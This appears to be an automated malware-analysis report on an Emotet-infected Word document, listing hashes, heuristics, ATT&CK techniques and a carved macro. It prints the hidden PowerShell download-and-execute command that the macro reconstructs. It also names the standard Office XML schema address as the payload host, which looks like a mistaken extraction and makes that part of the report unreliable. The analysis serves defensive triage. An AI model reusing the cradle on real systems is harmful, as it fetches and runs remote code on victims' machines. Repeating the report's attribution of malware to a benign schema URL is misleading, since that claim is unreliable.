Emotet Office (OLE) / .DOCX malware analysis — malicious · 2d36d489dbfb539b

MALICIOUS

Office (OLE) / .DOCX

156.5 KB Created: 2020-09-15 17:12:00 Authoring application: Microsoft Office Word

MD5: 423fdd6331351177f1f15f4bcfa5c738 SHA-1: af7b37698248a240e41abb20dfa5709812ae2c94 SHA-256: 2d36d489dbfb539b13f9cef9b6bf7dc007d57750d4424bd001ee9e6e6eb1cfb1

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The file contains a critical ClamAV detection for Emotet. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open auto-execution macro that uses CreateObject. The extracted document body contains obfuscated PowerShell commands. The script reconstructs and executes the command: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://schemas.openxmlformats.org/drawingml/2006/main');". This PowerShell command is designed to download and execute a second-stage payload from the specified URL.

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762377-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762377-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `2935858df1d0c162d4ca045aee67cb5dd51728380f384e9ebdf2e9a82ed900e7`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22872 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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